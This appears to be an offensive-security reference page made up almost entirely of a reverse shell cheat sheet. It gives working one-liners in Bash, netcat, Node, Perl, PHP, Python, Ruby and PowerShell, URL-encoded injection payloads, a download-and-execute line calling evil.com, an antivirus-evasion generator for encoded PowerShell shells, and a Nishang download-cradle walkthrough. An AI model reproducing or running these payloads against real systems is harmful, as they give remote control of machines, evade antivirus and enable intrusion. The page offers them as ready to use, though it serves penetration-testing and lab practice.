# Shell

## Upgrade to Fully Interactive TTY <a href="#upgrade-to-fully-interactive-tty" id="upgrade-to-fully-interactive-tty"></a>

After reverse shell, the shell has poorly functions, so we can upgrade to more functional shell.

### Upgrade <a href="#upgrade" id="upgrade"></a>

After connecting to the target shell with reverse shell, it's recommended to make the shell to be more elegant.

```shellscript
python3 -c 'import pty; pty.spawn("/bin/bash")'
# or
python -c 'import pty; pty.spawn("/bin/bash")'
# or
python2 -c 'import pty; pty.spawn("/bin/bash")'
# or
SHELL=/bin/bash script -q /dev/null
```

The commands below make our shell even more perfect.

```shellscript
Ctrl+z
stty raw -echo;fg
Enter x2
export TERM=xterm
```

## Reverse Shell Cheat Sheet <a href="#reverse-shell-cheat-sheet" id="reverse-shell-cheat-sheet"></a>

### Setup Listener <a href="#setup-listener" id="setup-listener"></a>

First of all, we need to start a listener in local machine to get an incoming connection.

```
nc -lvnp 4444

# For more elegant shell, use `rlwrap`.
# https://github.com/hanslub42/rlwrap
rlwrap nc -lvnp 4444
```

### Online Generator <a href="#online-generator" id="online-generator"></a>

* [Reverse Shell Generator](https://www.revshells.com/)

### Bash <a href="#bash" id="bash"></a>

```
bash -i >&  /dev/tcp/10.0.0.1/4444 0>&1
bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'
/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'

# For URL param
/?q=bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261
/?q=`bash+-c+'bash+-i+>%26+/dev/tcp/10.0.0.1/4444+0>%261'`
```

#### with Base64 <a href="#with-base64" id="with-base64"></a>

Execute the following commands in target machine.

```
echo "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" | base64
echo <base64_string> | base64 -d | bash
```

### Netcat OpenBSD <a href="#netcat-openbsd" id="netcat-openbsd"></a>

```
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f
```

### Ncat <a href="#ncat" id="ncat"></a>

```
ncat 10.0.0.1 4444 -e /bin/bash
ncat 10.0.0.1 4444 -e /bin/sh
ncat 10.0.0.1 4444 -c bash
ncat --udp 10.0.0.1 4444 -e /bin/bash

nc 10.0.0.1 4444 -e /bin/bash
nc 10.0.0.1 4444 -e /bin/sh
nc 10.0.0.1 4444 -c bash
nc --udp 10.0.0.1 4444 -e /bin/bash

busybox nc 10.0.0.1 4444 -e bash
```

### NodeJS <a href="#nodejs" id="nodejs"></a>

Reference: <https://medium.com/dont-code-me-on-that/bunch-of-shells-nodejs-cdd6eb740f73>

```
node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(4444, "10.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'
```

### Perl <a href="#perl" id="perl"></a>

```
perl -e 'use Socket;$i="10.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
```

### PHP <a href="#php" id="php"></a>

```
php -r '$sock=fsockopen("10.0.0.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

### Python <a href="#python" id="python"></a>

```
python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("10.0.0.1", 4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
```

### Ruby <a href="#ruby" id="ruby"></a>

```
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

### PowerShell <a href="#powershell" id="powershell"></a>

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell Invoke-Expression (New-Object Net.WebClient).DownloadString('http://evil.com/revshell.ps1')

powershell -c "Invoke-Expression (Invoke-WebRequest -usebasicparsing http://10.0.0.1:8000/revshell.ps1)"

# Base64-encode (UTF-16LE).
# Use CyberChef: "Encode text (UTF-16LE)" -> "To Base64"
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADAALgAxACcALAAxADIAMwA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==
```

#### Bypass AV (Antivirus) <a href="#bypass-av-antivirus" id="bypass-av-antivirus"></a>

* [powercat](https://github.com/rexpository/powercat-v2.0)
* [Nim Reverse Shell](https://github.com/Sn1r/Nim-Reverse-Shell)
* [Custom Python Script](https://mayfly277.github.io/posts/GOADv2-pwning-part7/#command-execution-to-shell)

```
#!/usr/bin/env python
import base64
import sys

if len(sys.argv) < 3:
  print('usage : %s ip port' % sys.argv[0])
  sys.exit(0)

payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
    $d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
    $sb = (iex $d 2>&1 | Out-String );
    $sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
    $s.Write($sb,0,$sb.Length);
    $s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])

byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
```

Then execute it and write to a file.

```
# we can specify arbitrary file format for Windows such as .bat, .cmd, etc.
python3 generate.py <ip> <port> > shell.bat
```

Start a listener for receiving incoming requests. Specify the port which was given the previous command.

```
nc -lvnp <port>
```

After that, upload `shell.bat` to target website.

### Nishang <a href="#nishang" id="nishang"></a>

[**Nishang**](https://github.com/samratashok/nishang) is the Offensive PowerShell for red team, penetration testing and offensive security.

#### 1. Preparing the Payload in Your Local Machine <a href="#id-1-preparing-the-payload-in-your-local-machine" id="id-1-preparing-the-payload-in-your-local-machine"></a>

First off, copy the payload to the current working directory.

```
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
mv Invoke-PowerShellTcp.ps1 shell.ps1
```

Add the following code to the final line in the payload (shell.ps1).

```
Invoke-PowerShellTcp -Reverse  -IPAddress <your-local-ip> -Port 4444
```

#### 2. Opening Wev Server in Your Local Machine <a href="#id-2-opening-wev-server-in-your-local-machine" id="id-2-opening-wev-server-in-your-local-machine"></a>

To download the payload and execute the reverse shell in the target machine, open the web server in your local machine.

```
python3 -m http.server 8000
```

#### 3. Start a Listener <a href="#id-3-start-a-listener" id="id-3-start-a-listener"></a>

And start a listener for receiving incoming requests in our local machine.

```
nc -lvnp 4444
```

#### 4. Download the Payload and Executing Reverse Shell <a href="#id-4-download-the-payload-and-executing-reverse-shell" id="id-4-download-the-payload-and-executing-reverse-shell"></a>

In the target machine, download the local-hosted payload and run reverse shell.

```
cmd /c powershell IEX (New-Object Net.WebClient).DownloadString('http://<your-local-ip>:8000/shell.ps1')
```